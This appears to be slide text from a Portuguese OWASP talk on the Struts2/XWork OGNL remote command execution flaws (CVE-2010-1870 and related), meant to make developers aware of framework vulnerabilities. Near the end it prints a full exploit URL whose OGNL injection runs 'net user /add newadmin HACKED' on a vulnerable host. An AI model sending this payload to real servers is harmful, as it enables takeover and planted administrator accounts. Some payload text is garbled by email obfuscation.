Struts2/XWork
Remote Command Execution
Tiago Natel de Moura
[email protected]
Sobre mim

Pesquisador e co-fundador do grupo BugSec Team.
bugsec.googlecode.com

Consultor de Segurança na SEC+.
www.secplus.com.br

Co-Fundador e Lider do Capítulo da OWASP de
Florianópolis.

Desenvolvedor de algumas ferramentas de
segurança: http://github.com/tiago4orion
Experiências/Interesses
Linguagens:
•
C, C++, Assembly, Lisp
Segurança:
•
•
•
•
•
•
Desenvolvimento de Exploits;
Buffer overflows (Stack/Heap Overrun);
Network Protocol (TCP/UDP/IP, WEP/WPA,
FTP/HTTP, etc)
Análise de Malwares;
Web Application Vulnerabilities (SQLI, XSS,
CSRF, LFD/RFI, etc)
Metodologias de segurança;
Sobre essa palestra
Falar sobre uma falha crítica no framework
Struts que permite ao atacante executar
comandos no servidor.
Concientizar os desenvolvedores sobre a
importância da segurança na escolha das
tecnologias utilizadas no projeto.
A verdade sobre os frameworks
Eles também possuem falhas de segurança ...
 Todos eles...
Java – Struts, Hibernate, Spring
Microsoft .Net
Ruby – Rails, Merb, Ramaze
Python – Django, Twisted, web.py
PHP – Zend, Symfony, Cake
 Você audita o código do seu framework?
Um pouco sobre Struts e OGNL
 Struts2 é basicamente um framework para
desenvolver aplicações web em Java
utilizando a arquitetura de Model-ViewController (MVC)
 Object-Graph Navigation Language (OGNL) é
uma linguagem para acessar e setar
propriedades de objetos Java.
 Struts2 trata os parametros HTTP como
expressões OGNL.
CVE-2010-1870 – Struts2/XWork
Remote Code Execution
The OGNL extensive expression evaluation capability in
XWork in Struts 2.0.0 through 2.1.8.1, as used in
Atlassian Fisheye, Crucible, and possibly other
products, uses a permissive whitelist, which allows
remote attackers to modify server-side context objects
and bypass the "#" protection mechanism in
ParameterInterceptors via the (1) #context, (2)
#_memberAccess, (3) #root, (4) #this, (5)
#_typeResolver, (6) #_classResolver, (7)
#_traceEvaluations, (8) #_lastEvaluation, (9)
#_keepLastEvaluation, and possibly other OGNL
context variables, a different vulnerability than CVE2008-6504.
CVE-2011-3923 - Apache Struts
'ParameterInterceptor' Class OGNL
Security Bypass
Apache Struts is prone to a security-bypass
vulnerability because it fails to adequately
handle user-supplied input.
This issue is related to the vulnerability
documented in BID 32101(XWork
'ParameterInterceptor' Class OGNL Security
Bypass Vulnerability).
Apache Struts versions 2.0.0 through 2.3.1.1 are
vulnerable.
Múltiplas Vulnerabilidades...
•
•
•
•
Remote command execution in Struts <= 2.2.1.1
(ExceptionDelegator)
Remote command execution in Struts <= 2.3.1
(CookieInterceptor)
Arbitrary File Overwrite in Struts <= 2.3.1
(ParametersInterceptor)
Remote command execution in Struts <= 2.3.1
(DebuggingInterceptor)
Um exemplo de OGNL
http://server/your/web/app?page['language']=en
action.getPage().setLanguage("en")
Como Struts2 e OGNL conduzem
para uma execução remota de
código
OGNL existe para referenciar variáveis usando
o prefixo '#'.
Adicionalmente, existem contextos prédefinidos como #session, #context...
Como Struts2 e OGNL conduzem
para uma execução remota de
código
1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a
transformação das variáveis do GET para Java não escapa '#' de
maneira apropriada quando ele é enviado como uma string unicode
'\u0023'.
2. Existem duas chaves de contextos importantes:
 #context – OgnlContext – Este possui a propriedade chamada
'xwork.MethodAccessor.denyMethodExecution' o qual nega a
execução de um método.
 #_memberAccess - SecurityMemberAccess, contém um
campo chamado 'allowStaticAccess' o qual previne a
execução de métodos estáticos.
Como Struts2 e OGNL conduzem
para uma execução remota de
código
É fácil ver aonde isso vai acabar ...
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @[email protected]()
#rt.exec('net user /add newadmin HACKED')
Como Struts2 e OGNL conduzem
para uma execução remota de
código
É facil ver aonde isso vai acabar...
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @[email protected]()
#rt.exec('net user /add newadmin HACKED')
http://vulnerable_host/login.action?
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&
(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
(asdf)(('\u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)')
(\u0023rt\[email protected]@getRuntime()))=1
Como escolher a tecnologia a ser
usada no projeto?
Consulte a comunidade de segurança!
The End
E-mail: natel <at> owasp.org
github: github.com/tiago4orion
Download

Vulnerable Frameworks Yield Vulnerable Apps